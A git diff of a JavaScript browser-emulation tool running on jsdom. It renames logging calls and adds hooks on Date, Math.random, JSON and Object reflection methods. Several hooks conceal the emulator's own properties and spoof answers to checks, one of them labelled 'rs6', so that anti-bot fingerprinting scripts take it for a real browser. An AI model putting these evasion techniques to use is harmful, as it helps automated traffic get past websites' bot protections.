console.log_copy(`WebGLRenderingContext_createShader `, `${type} `); if (bodavm.config.isdebug) { debugger }; if (type == 35633) { @@ -4842,20 +5130,20 @@ let source = arguments[1] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_shaderSource !!!!!!!!!未完善!!!!!!!!!!!!`, `shader:${shader} source:${source} `); + console.log_copy(`WebGLRenderingContext_shaderSource !!!!!!!!!未完善!!!!!!!!!!!!`, `shader:${shader} source:${source} `); } bodavm.envFunc.WebGLRenderingContext_compileShader = function WebGLRenderingContext_shaderSource() { let compileShader = arguments[0] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_compileShader !!!!!!!!!未完善!!!!!!!!!!!!`, `${compileShader} `); + console.log_copy(`WebGLRenderingContext_compileShader !!!!!!!!!未完善!!!!!!!!!!!!`, `${compileShader} `); } bodavm.envFunc.WebGLRenderingContext_canvas_get = function WebGLRenderingContext_canvas_get() { let canvas = {} if (bodavm.config.isdebug) { debugger }; canvas._boisinit=true - console.log(`WebGLRenderingContext_canvas_get `, `${canvas} `); + console.log_copy(`WebGLRenderingContext_canvas_get `, `${canvas} `); canvas.__proto__ = bodavm.memory.globalobj['HTMLCanvasElement'].prototype // bodavm.toolsFunc.symbolProperty(canvas) return canvas @@ -4866,7 +5154,7 @@ if (bodavm.config.isdebug) { debugger }; program = Object.setPrototypeOf(program, bodavm.memory.globalobj['WebGLProgram'].prototype); - console.log(`WebGLRenderingContext_createProgram `, `${program} `); + console.log_copy(`WebGLRenderingContext_createProgram `, `${program} `); return program; } @@ -4874,7 +5162,7 @@ if (bodavm.config.isdebug) { debugger } let buffer = {}; buffer = Object.setPrototypeOf(buffer, bodavm.memory.globalobj['WebGLBuffer'].prototype); - console.log(`WebGLRenderingContext_createBuffer `, `${buffer} `); + console.log_copy(`WebGLRenderingContext_createBuffer `, `${buffer} `); return buffer; @@ -4883,7 +5171,7 @@ if (bodavm.config.isdebug) { debugger } let r1 = arguments[0] let r2 = arguments[1] - console.log(`WebGLRenderingContext_bindBuffer !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1} r2:${r2} `); + console.log_copy(`WebGLRenderingContext_bindBuffer !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1} r2:${r2} `); } bodavm.envFunc.WebGLRenderingContext_bufferData = function WebGLRenderingContext_bufferData() { @@ -4893,13 +5181,13 @@ let r3 = arguments[2] let r4 = arguments[3] let r5 = arguments[4] - console.log(`WebGLRenderingContext_bufferData !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1},r2:${r2},r3:${r3},r4:${r4},r5:${r5} `); + console.log_copy(`WebGLRenderingContext_bufferData !!!!!!!!!未完善!!!!!!!!!!!!`, `r1:${r1},r2:${r2},r3:${r3},r4:${r4},r5:${r5} `); } bodavm.envFunc.WebGLRenderingContext_getExtension = function WebGLRenderingContext_getExtension() { if (bodavm.config.isdebug) { debugger } let getExtension = arguments[0] - console.log(`WebGLRenderingContext_getExtension `, `${getExtension} `); + console.log_copy(`WebGLRenderingContext_getExtension `, `${getExtension} `); let info = {_boisinit:bodavm.config.isinit} switch (getExtension) { case "WEBGL_debug_renderer_info": @@ -5218,7 +5506,7 @@ delete WebGLMultiDraw.prototype.constructor;; break; default: - console.log(`WebGLRenderingContext_getExtension `, `${getExtension}属性未实现 `); + console.log_copy(`WebGLRenderingContext_getExtension `, `${getExtension}属性未实现 `); break; } @@ -5261,7 +5549,7 @@ "WEBKIT_WEBGL_lose_context", "WEBGL_multi_draw" ] - console.log(`WebGLRenderingContext_getSupportedExtensions=== `, `${SupportedExtensions} `); + console.log_copy(`WebGLRenderingContext_getSupportedExtensions=== `, `${SupportedExtensions} `); return SupportedExtensions } @@ -5291,14 +5579,14 @@ 7938: 'WebGL 1.0 (OpenGL ES 2.0 Chromium)' } res = resDict[pname] - if (res === undefined) return console.log(`WebGLRenderingContext_getParameter `, `${pname} 未实现`); - console.log(`WebGLRenderingContext_getParameter `, `${pname} `, `-> res ->${res}`) + if (res === undefined) return console.log_copy(`WebGLRenderingContext_getParameter `, `${pname} 未实现`); + console.log_copy(`WebGLRenderingContext_getParameter `, `${pname} `, `-> res ->${res}`) return res } //HTMLStyleElement bodavm.envFunc.HTMLStyleElement_sheet_get = function HTMLStyleElement_sheet_get() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLStyleElement_sheet_get `, `${null} `); + console.log_copy(`HTMLStyleElement_sheet_get `, `${null} `); return null } @@ -5311,7 +5599,7 @@ if (contentwindow){ contentwindow._contentiframe=true } - console.log(`HTMLIFrameElement_contentWindow_get `, `-> res ->${contentwindow}`,`获取iframe下的window!!!`); + console.log_copy(`HTMLIFrameElement_contentWindow_get `, `-> res ->${contentwindow}`,`获取iframe下的window!!!`); // contentwindow.__proto__ = bodavm.memory.globalobj['Window'].prototype // contentwindow['top']='123' @@ -5329,23 +5617,23 @@ if (bodavm.config.isdebug) { debugger }; if (name == "overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "true"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "true"); return true } if (name == "-webkit-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "`false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "`false"); return false } if (name == "-o-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } if (name == "-moz-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } if (name == "-ms-overscroll-behavior" && value == "auto") { - console.log(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); + console.log_copy(`CSS_supports `, `name->${name} `, `value->${value} `, "false"); return false } @@ -5354,7 +5642,7 @@ bodavm.envFunc.CSSStyleDeclaration_getPropertyValue = function CSSStyleDeclaration_getPropertyValue() { let getPropertyValue = arguments[0] - console.log(`CSSStyleDeclaration_getPropertyValue `, getPropertyValue, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`CSSStyleDeclaration_getPropertyValue `, getPropertyValue, `!!!!!!!!!未完善!!!!!!!!!!!! `); } //RTCPeerConnection_onicecandidate_set @@ -5362,7 +5650,7 @@ let onicecandidate = arguments[0] if (bodavm.config.isdebug) { debugger }; this._onicecandidate = onicecandidate - console.log(`RTCPeerConnection_onicecandidate_set `, `onicecandidate->${onicecandidate}`); + console.log_copy(`RTCPeerConnection_onicecandidate_set `, `onicecandidate->${onicecandidate}`); return onicecandidate } @@ -5379,7 +5667,7 @@ retSessionDescription.__proto__ = bodavm.memory.globalobj['RTCSessionDescription'].prototype // debugger // bodavm.toolsFunc.symbolProperty(batteryManager) - console.log(`RTCPeerConnection_createOffer `, `successCallback->${successCallback} `, `failureCallback->${failureCallback} `, `options->${options},!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`RTCPeerConnection_createOffer `, `successCallback->${successCallback} `, `failureCallback->${failureCallback} `, `options->${options},!!!!!!!!!未完善!!!!!!!!!!!! `); let promise = new Promise((resolve, reject) => { resolve(retSessionDescription) @@ -5404,9 +5692,11 @@ if (bodavm.config.isdebug) { debugger }; let target = arguments[0] let options = arguments[1] - // debugger - let res = this._boarg.observe(target._boarg, options) - console.log(`MutationObserver_observe `, `target->${target} `, `options->${options} `); + debugger + this._callbacck() + console.log_copy(`MutationObserver_observe `, `target->${target} `, `options->${options} 直接调用callback 待完善!!!! `); + + // let res = this._boarg.observe(target._boarg, options) } //HTMLImageElement @@ -5416,7 +5706,7 @@ let img = arguments[0] this._boarg.src = img // this._elements['0'].attr['img'] = img - console.log(`HTMLImageElement_src_set `, `img->${img} `); + console.log_copy(`HTMLImageElement_src_set `, `img->${img} `); return img } @@ -5424,14 +5714,14 @@ let height = 0 if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLImageElement_height_get `, `height->${height} `); + console.log_copy(`HTMLImageElement_height_get `, `height->${height} `); return height } bodavm.envFunc.HTMLImageElement_width_get = function HTMLImageElement_height_get() { let width = 0 if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLImageElement_width_get `, `width->${width} `); + console.log_copy(`HTMLImageElement_width_get `, `width->${width} `); return width } //MediaQueryList @@ -5443,56 +5733,56 @@ switch (media_) { case "(any-pointer: fine )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer: coarse )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer: none )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-pointer )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: hover )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: on-demand )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover: none )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(any-hover )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: srgb )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: p3 )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut: rec2020 )": resbool = false - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break case "(color-gamut )": resbool = true - console.log(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_}`, `-> resbool->${resbool}`); break default: - console.log(`MediaQueryList_matches_get `, `media_ ->${media_} 未实现`); + console.log_copy(`MediaQueryList_matches_get `, `media_ ->${media_} 未实现`); } return resbool } @@ -5500,20 +5790,20 @@ //WebGLShaderPrecisionFormat bodavm.envFunc.WebGLShaderPrecisionFormat_rangeMin_get = function WebGLShaderPrecisionFormat_rangeMin_get() { - console.log(`WebGLShaderPrecisionFormat_rangeMin_get `, 127); + console.log_copy(`WebGLShaderPrecisionFormat_rangeMin_get `, 127); if (bodavm.config.isdebug) { debugger }; return 127 } bodavm.envFunc.WebGLShaderPrecisionFormat_rangeMax_get = function WebGLShaderPrecisionFormat_rangeMax_get() { - console.log(`WebGLShaderPrecisionFormat_rangeMax_get `, 127); + console.log_copy(`WebGLShaderPrecisionFormat_rangeMax_get `, 127); if (bodavm.config.isdebug) { debugger }; return 127 } bodavm.envFunc.WebGLShaderPrecisionFormat_precision_get = function WebGLShaderPrecisionFormat_precision_get() { - console.log(`WebGLShaderPrecisionFormat_precision_get `, 23); + console.log_copy(`WebGLShaderPrecisionFormat_precision_get `, 23); if (bodavm.config.isdebug) { debugger }; return 23 @@ -5521,7 +5811,7 @@ //BaseAudioContext bodavm.envFunc.BaseAudioContext_createOscillator = function BaseAudioContext_createOscillator() { - console.log(`BaseAudioContext_createOscillator`, undefined); + console.log_copy(`BaseAudioContext_createOscillator`, undefined); return undefined } @@ -5531,14 +5821,14 @@ bodavm.envFunc.HTMLInputElement_type_get = function HTMLInputElement_type_get() { // debugger let tpye = this._boarg.type - console.log(`HTMLInputElement_type_get `, `type->${tpye}`); + console.log_copy(`HTMLInputElement_type_get `, `type->${tpye}`); return tpye } bodavm.envFunc.HTMLInputElement_name_get = function HTMLInputElement_name_get() { // debugger let name_ = this._boarg.name if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLInputElement_name_get `, ` name->${name_}`); + console.log_copy(`HTMLInputElement_name_get `, ` name->${name_}`); return name_ } bodavm.envFunc.HTMLInputElement_value_get = function HTMLInputElement_value_get() { @@ -5546,7 +5836,7 @@ let value_ = this._boarg.value if (bodavm.config.isdebug) { debugger }; - console.log(`HTMLInputElement_value_get `, ` value_->${value_}`); + console.log_copy(`HTMLInputElement_value_get `, ` value_->${value_}`); return value_ } }(); diff --git a/env_xbb_lastest_jsdom/tools/globalInit.js b/env_xbb_lastest_jsdom/tools/globalInit.js index 6b7de107..d76ec706 100644 --- a/env_xbb_lastest_jsdom/tools/globalInit.js +++ b/env_xbb_lastest_jsdom/tools/globalInit.js @@ -15,7 +15,7 @@ var mytime_stamp = Date.now() //固定时间值 Date.now_ = Date.now Date.now = function () { - console.log(`Date.now=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) + console.log_copy(`Date.now=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -23,7 +23,7 @@ var mytime_stamp = Date.now() //固定时间值 Date.prototype.valueOf_ = Date.prototype.valueOf Date.prototype.valueOf = function valueOf() { - console.log(`Date.prototype.valueOf=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) + console.log_copy(`Date.prototype.valueOf=>被调用 `, `resulit is mytime_stamp:`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -31,7 +31,7 @@ var mytime_stamp = Date.now() Date.prototype.getTime_ = Date.prototype.getTime Date.prototype.getTime = function () { - console.log(`Date.prototype.getTime=>被调用 `, `resulit is mytime_stamp`,mytime_stamp) + console.log_copy(`Date.prototype.getTime=>被调用 `, `resulit is mytime_stamp`,mytime_stamp) mytime_stamp++ return mytime_stamp } @@ -39,7 +39,7 @@ var mytime_stamp = Date.now() //固定随机值 Math.random_ = Math.random; Math.random = function () { - console.log(`Math.random=>被调用 `, `resulit is Math.random:${0.5}`) + console.log_copy(`Math.random=>被调用 `, `resulit is Math.random:${0.5}`) return 0.5 } bodavm.toolsFunc.safeFunc(Math.random, 'random') @@ -49,35 +49,52 @@ var mytime_stamp = Date.now() JSON.stringify_bo = JSON.stringify JSON.stringify = function stringify() { + let stringres='' let arg0 = arguments[0] let arg1 = arguments[1] let arg2 = arguments[2] - if (arg2 == 'bo') { - return JSON.stringify_bo.call(this, arg0, arg1) - } - // debugger - if (arg0 && arg0.length) { - if (arg0.indexOf(console) > -1) { - debugger - console.log('JSON.stringify ', ' console', ' 检测console'); - arg0[arg0.indexOf(console)] = { "memory": {} } + try{ + + + if (arg2 == 'bo') { + return JSON.stringify_bo.call(this, arg0, arg1) } - } else { - if (arg0 == console) { - debugger - console.log('JSON.stringify ', ' console', ' 检测console'); - return '{"memory":{}}' + + debugger + if (arg0 && arg0.length) { + if (arg0+''.indexOf(console) > -1) { + debugger + console.log_copy('JSON.stringify1 ', ' console', ' 检测console'); + arg0[arg0.indexOf(console)] = { "memory": {} } + } + } else { + if (arg0 == console) { + debugger + console.log_copy('JSON.stringify3 ', ' console', ' 检测console'); + return '{"memory":{}}' + } + } + stringres=JSON.stringify_bo.call(this, arg0, arg1) + if (typeof arg0 == 'string') { + console.log_copy(`JSON.stringify4 `, ` arg0:`,arg0.length > 20 ? arg0.substring(0, 20) + '...' : arg0, ` arg1: `,arg1,'-> res ->',stringres) + + } else { + // debugger + if (arg0&&arg0.toString().indexOf("MemoryInfo")>-1){ + console.log_copy('JSON.stringify2 ', ' console', ' 检测console.memory res- > {}'); + + return {} + } + console.log_copy(`JSON.stringify5 `, ` arg0:`,arg0, ` arg1: `,arg1, '->res->',stringres) + + + } + }catch{ + console.log_copy(`JSON.stringify hook出错`, ) } - if (typeof arg0 == 'string') { - console.log(`JSON.stringify `, ` arg0:`,arg0.length > 20 ? arg0.substring(0, 20) + '...' : arg0, ` arg1: `,arg1) - - } else { - console.log(`JSON.stringify `, ` arg0:`,arg0, ` arg1: `,arg1) - - } - return JSON.stringify_bo.call(this, arg0, arg1) + return stringres } @@ -88,7 +105,13 @@ var mytime_stamp = Date.now() JSON.parse = function parse() { let arg0 = arguments[0] let arg1 = arguments[1] - console.log(`JSON.parse `, ` arg0:`,arg0.length > 40 ? arg0.substring(0, 40) + '...' : arg0, ` arg1:`,arg1) + try{ + console.log_copy(`JSON.parse `, ` arg0:`,arg0.length > 40 ? arg0.substring(0, 40) + '...' : arg0, ` arg1:`,arg1) + + }catch{ + console.log_copy(`JSON.parse hook出错`, ) + + } return JSON.parse_bo.apply(this, arguments) } bodavm.toolsFunc.safefunction(JSON.parse, 'parse') @@ -99,20 +122,33 @@ var mytime_stamp = Date.now() Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor() { let obj = arguments[0] let prop = arguments[1] - if (prop == 'constructor') { - // if (obj ==document){debugger} - return Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) - } - debugger + let desc_res; + try{ + if (obj ===window && prop =='__proto__'){ + // objres={value: undefined, writable: false, enumerable: false, configurable: false} + // console.log_copy(`Object.getOwnPropertyDescriptor -->`,'传入参数为winodw检测 -> res -> ',objres); + return undefined + } + if (prop == 'constructor') { + // if (obj ==document){debugger} + return Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) + } + debugger + + desc_res = Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) + if (desc_res && (desc_res['_boarg'] || desc_res['_boisinit'] || desc_res['_contentiframe'] )){ + delete desc_res['_boarg'] + delete desc_res['_boisinit'] + delete desc_res['_contentiframe'] + } + + console.log_copy(`Object.getOwnPropertyDescriptor--> `, ` obj:`,obj, `->`, `prop:`,prop,` ->`, ` res ->`,desc_res,` !!!!检测`); + + }catch{ + console.log_copy(`Object.getOwnPropertyDescriptor hook出错`) - desc_res = Object.getOwnPropertyDescriptor_bo.call(this, arguments[0],arguments[1]) - if (desc_res && (desc_res['_boarg'] || desc_res['_boisinit'] || desc_res['_contentiframe'] )){ - delete desc_res['_boarg'] - delete desc_res['_boisinit'] - delete desc_res['_contentiframe'] } - console.log(`Object.getOwnPropertyDescriptor==> `, ` obj:`,obj, `->`, `prop:`,prop,` ->`, ` res ->`,desc_res,` !!!!检测`); return desc_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor, 'getOwnPropertyDescriptor') @@ -121,12 +157,16 @@ var mytime_stamp = Date.now() Object.getOwnPropertyDescriptors_bo = Object.getOwnPropertyDescriptors Object.getOwnPropertyDescriptors = function getOwnPropertyDescriptors() { let arg0 = arguments[0] - debugger + let descs_res; + try{ + + descs_res = Object.getOwnPropertyDescriptors_bo.apply(this, arguments) - if (descs_res && (descs_res['_boarg'] || descs_res['_boisinit'] || descs_res['_contentiframe'] )){ + if (descs_res && (descs_res['_boarg'] || descs_res['_boisinit'] || descs_res['_contentiframe'] || descs_res['__proto__'])){ delete descs_res['_boarg'] delete descs_res['_boisinit'] delete descs_res['_contentiframe'] + delete descs_res['__proto__'] } // ldvm.toolsFunc.deleteProperty(descs_res,'length') // descs_res[0].configurable=true @@ -137,28 +177,73 @@ var mytime_stamp = Date.now() descs_res[i].writable=false } } - console.log(`Object.getOwnPropertyDescriptors==> `, `arg0:`,arg0,` ->`, `res ->`,descs_res, `!!!!检测`); + console.log_copy(`Object.getOwnPropertyDescriptors--> `, `arg0:`,arg0,` ->`, `res ->`,descs_res, `!!!!检测`); + }catch{ + console.log_copy(`Object.getOwnPropertyDescriptors hook出错`) + + } return descs_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptors, 'getOwnPropertyDescriptors') Object.getOwnPropertyNames_bo = Object.getOwnPropertyNames - Object.getOwnPropertyNames = function getOwnPropertyDescriptor() { + Object.getOwnPropertyNames = function getOwnPropertyNames() { let arg0 = arguments[0] let name_res = Object.getOwnPropertyNames_bo.apply(this, arguments) - for (let i =0;i `,`this ->`,bodavm.toolsFunc.getType(this),`->`, ` arg0:`,arg0,` ->`, ` name_res->`,name_res,` !!!检测`); + + + // debugger + + console.log_copy(`Object.getOwnPropertyNames--> `,`this ->`,this,`->`, ` arg0:`,arg0,` ->`, ` name_res->`,JSON.stringify_bo(name_res),` !!!检测`); + }catch{ + console.log_copy(`Object.getOwnPropertyNames hook出错`) + + } + return name_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertyNames, 'getOwnPropertyNames') @@ -166,15 +251,33 @@ var mytime_stamp = Date.now() Object.getPrototypeOf_bo = Object.getPrototypeOf Object.getPrototypeOf = function (obj) { - console.log(`Object.getPrototypeOf `, `this ->`,bodavm.toolsFunc.getType(this),`->`,` obj:`,obj, '!!!!检测'); + try{ + console.log_copy(`Object.getPrototypeOf `, `this ->`,bodavm.toolsFunc.getType(this),`->`,` obj:`,obj, '!!!!检测'); + + }catch{ + console.log_copy(`Object.getPrototypeOf hook出错`) + + } return Object.getPrototypeOf_bo.apply(this, arguments) } - bodavm.toolsFunc.safefunction(Object.getOwnPropertyNames, 'getOwnPropertyNames') + bodavm.toolsFunc.safefunction(Object.getPrototypeOf, 'getPrototypeOf') Object.getOwnPropertySymbols_bo = Object.getOwnPropertySymbols Object.getOwnPropertySymbols = function getOwnPropertySymbols(arg) { - let symbols_res = Object.getOwnPropertySymbols_bo.apply(this, arguments) - console.log('Object.getOwnPropertySymbols ',`this ->`,bodavm.toolsFunc.getType(this),`->`,` arg:`,arg, ` symbols_res ->`,symbols_res,` !!!!检测`); + let symbols_res; + try{ + + let symbols_res = Object.getOwnPropertySymbols_bo.apply(this, arguments) + debugger + console.log_copy('Object.getOwnPropertySymbols ',`->`,` arg:`,bodavm.toolsFunc.getType(arg), ` symbols_res ->`,JSON.stringify_bo(symbols_res),` !!!!检测`); + + } + // if (arg ==alert){console.log('Object.getOwnPropertySymbols -> ',`arg -> alert 检测 返回`)} + + catch { + console.log_copy(`Object.getOwnPropertySymbols hook出错`) + + } return symbols_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertySymbols, 'getOwnPropertySymbols') @@ -186,19 +289,29 @@ var mytime_stamp = Date.now() // debugger let target = arguments[0] let prop = arguments[1] - if(target.__proto__==HTMLCollection.prototype){ + let res; + try{ + if(target.__proto__==HTMLCollection.prototype){ - if (prop !=null && (Number(prop) || Number(prop)==0)){ - return bodavm.toolsFunc.throwError(`TypeError: `,`Filed to set an indexed property on 'HTMLCollection': Index property setter is not supported. - at Function.defineProperty ()`) - + if (prop !=null && (Number(prop) || Number(prop)==0)){ + return bodavm.toolsFunc.throwError(`TypeError: `,`Filed to set an indexed property on 'HTMLCollection': Index property setter is not supported. + at Function.defineProperty ()`) + + } } + let obj = arguments[2] + let myfilter = arguments[3] + if (myfilter == 'bobo') { return Object.defineProperty_bo.call(this, target, prop, obj) } + debugger + res = Object.defineProperty_bo.call(this, target, prop, obj) + // console.log_copy(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`, `obj ->`,(obj.toString()),`->`, `res ->`,res.toString(), `!!!!!检测`) + console.log_copy(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(JSON.stringify_bo(prop)),`->`, `obj ->`,(JSON.stringify_bo(obj)),`->`, `res ->`,JSON.stringify_bo(res), `!!!!!检测`) + + }catch{ + console.log_copy(`Object.defineProperty hook出错`) + } - let obj = arguments[2] - let myfilter = arguments[3] - if (myfilter == 'bobo') { return Object.defineProperty_bo.call(this, target, prop, obj) } - let res = Object.defineProperty_bo.call(this, target, prop, obj) - console.log(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`, `obj ->`,(obj.toString()),`->`, `res ->`,res.toString(), `!!!!!检测`) + return res } @@ -207,13 +320,20 @@ var mytime_stamp = Date.now() Object.defineProperties_bo = Object.defineProperties Object.defineProperties = function defineProperties() { // debugger + let target = arguments[0] let prop = arguments[1] let myfilter = arguments[2] - if (myfilter == 'bobo') { return Object.defineProperties_bo.call(this, target, prop) } - let res = Object.defineProperty_bo.call(this, target, prop) - console.log(`Object.defineProperties `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`,`->`, `res ->`,res.toString(), `!!!!!检测`) + let res; + try{ + if (myfilter == 'bobo') { return Object.defineProperties_bo.call(this, target, prop) } + res = Object.defineProperty_bo.call(this, target, prop) + console.log_copy(`Object.defineProperties `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`,`->`, `res ->`,res.toString(), `!!!!!检测`) + }catch{ + console.log_copy(`Object.defineProperties hook出错`) + } + return res } bodavm.toolsFunc.safefunction(Object.defineProperties, 'defineProperties') @@ -223,8 +343,16 @@ var mytime_stamp = Date.now() Object.values_bo = Object.values Object.values = function values() { - let res = Object.Object.values_bo.apply(this, arguments) - console.log(`Object.values `,`this ->`,bodavm.toolsFunc.getType(this),`->`, `res ->`,res,` !!!!!!!!!!检测`); + let res; + try{ + res = Object.Object.values_bo.apply(this, arguments) + console.log_copy(`Object.values `,`this ->`,bodavm.toolsFunc.getType(this),`->`, `res ->`,res,` !!!!!!!!!!检测`); + + }catch{ + console.log_copy(`Object.values `,`hook 出错`); + + } + return res } bodavm.toolsFunc.safefunction(Object.values, 'values') @@ -234,24 +362,43 @@ var mytime_stamp = Date.now() Object.prototype.hasOwnProperty=function (){ let arg=arguments[0] - if ((this == window) && (arg =='hasOwnProperty')){ - return false - } - let arg1=arguments[1] - if (arg1=='boboflag'){ - return Object.prototype.hasOwnProperty_bo.call(this,arg) - } - // debugger - // obj='' - // if (arg =='allSettled'){debugger} - if (typeof this =='function'){ - obj=this.name - }else{ + let res; + try{ + if ((this == window) && (arg =='hasOwnProperty')){ + return false + } + if (arg =='__Zm9ybS5pZAo__'){ + console.log_copy(`Object.prototype.hasOwnProperty rs6检测 __Zm9ybS5pZAo__ 返回false`); + return false + } + if (arg =='require'){ + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,false,` !!!!!!检测!!!!`) + + return false + } + let arg1=arguments[1] + if (arg1=='boboflag'){ + return Object.prototype.hasOwnProperty_bo.call(this,arg) + } // debugger - obj=bodavm.toolsFunc.getType(this) + // obj='' + // if (arg =='allSettled'){debugger} + if (typeof this =='function'){ + obj=this.name + }else{ + // debugger + obj=bodavm.toolsFunc.getType(this) + } + res=Object.prototype.hasOwnProperty_bo.call(this,arg) + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` !!!!!!检测!!!!`) + + }catch{ + // console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` 输出失败`) + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,`hook 出错`) + + } - let res=Object.prototype.hasOwnProperty_bo.call(this,arg) - console.log(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` !!!!!!检测!!!!`) + return res } @@ -267,28 +414,38 @@ var mytime_stamp = Date.now() // delete desc_res['_contentiframe'] Object.entries_bo = Object.entries Object.entries = function () { - let obj = arguments[0] - let res = Object.entries_bo.call(this, obj) - for (let i =0;i`,bodavm.toolsFunc.getType(this),`->obj ->`,obj, `-> res ->`,res,` !!!!!!检测!!!!`) + + }catch{ + console.log_copy(`Object.entries `,`hook 出错`) + } - console.log(`Object.entries `,`this ->`,bodavm.toolsFunc.getType(this),`->obj ->`,obj, `-> res ->`,res,` !!!!!!检测!!!!`) + return res } bodavm.toolsFunc.safefunction(Object.entries, 'entries') Object.keys_=Object.keys Object.keys=function (){ - let obj = arguments[0] - if (bodavm.toolsFunc.getType(obj)=='[object Window]'){ - let iframes= bodaobj.document.getElementsByTagName('iframe') - for (let i = 0; i < iframes.length; i++) { + let res; + try{ + let obj = arguments[0] + if (bodavm.toolsFunc.getType(obj)=='[object Window]'){ + let iframes= bodaobj.document.getElementsByTagName('iframe') + for (let i = 0; i < iframes.length; i++) { if (obj==iframes[i].contentWindow){ res_=bodavm.memory.contentWindow_keys - console.log(`Object.keys `, `contentWindow下keys !!!!!!检测!!!!`) + console.log_copy(`Object.keys `, `contentWindow下keys !!!!!!检测!!!!`) return res_ } @@ -296,28 +453,30 @@ var mytime_stamp = Date.now() } } - let res = Object.keys_.call(this, obj) + res = Object.keys_.call(this, obj) + for (let i = 0; i < res.length; i++) { + if (res[i]=='_boisinit' || res[i]=='_boarg' || res[i]=='__proto__'){ + res.splice(i,1) + i=i-1 + } + + } debugger - console.log(`Object.keys `, `obj ->${obj} ->`, `res ->过长不显示} !!!!!!检测!!!!`) + console.log_copy(`Object.keys `, `obj ->`,obj, `->`, `res ->过长不显示} !!!!!!检测!!!!`) + 